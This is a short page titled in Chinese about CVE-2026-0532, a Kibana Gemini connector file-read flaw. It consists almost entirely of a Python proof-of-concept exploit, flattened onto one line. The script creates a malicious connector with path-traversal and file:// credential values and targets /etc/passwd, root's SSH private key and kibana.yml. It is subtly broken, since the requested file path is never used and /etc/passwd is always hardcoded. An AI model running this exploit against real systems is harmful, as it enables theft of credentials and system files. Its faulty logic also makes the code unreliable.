CVE-2026-0532: Kibana Google Gemini连接器任意文件读取漏洞

import requests import json # CVE-2026-0532 PoC - Arbitrary File Read via Gemini Connector # Target: Elastic Kibana with vulnerable Gemini connector TARGET = "https://kibana.example.com" API_KEY = "your-api-key-with-connector-permissions" def exploit_file_read(filepath): """ Exploit to read arbitrary files through Gemini connector config """ headers = { "Content-Type": "application/json", "kbn-xsrf": "true", "Authorization": f"ApiKey {API_KEY}" } # Malicious connector payload with file path traversal payload = { "name": "Malicious Gemini Connector", "connectorType": "gemini", "config": { "apiKey": "malicious-key" }, "secrets": { # File path traversal to read /etc/passwd "credentials": json.dumps({ "type": "service_account", "project_id": "evil", "private_key_id": "../../../etc/passwd", "private_key": "file:///etc/passwd" }) } } endpoint = f"{TARGET}/api/actions/connector" response = requests.post(endpoint, headers=headers, json=payload, verify=False) if response.status_code == 200: result = response.json() print(f"[+] File read successful: {filepath}") print(f"[+] Response: {json.dumps(result, indent=2)}") else: print(f"[-] Exploit failed: {response.status_code}") print(response.text) if __name__ == "__main__": # Target sensitive files files = ["/etc/passwd", "/root/.ssh/id_rsa", "/etc/kibana/kibana.yml"] for f in files: exploit_file_read(f)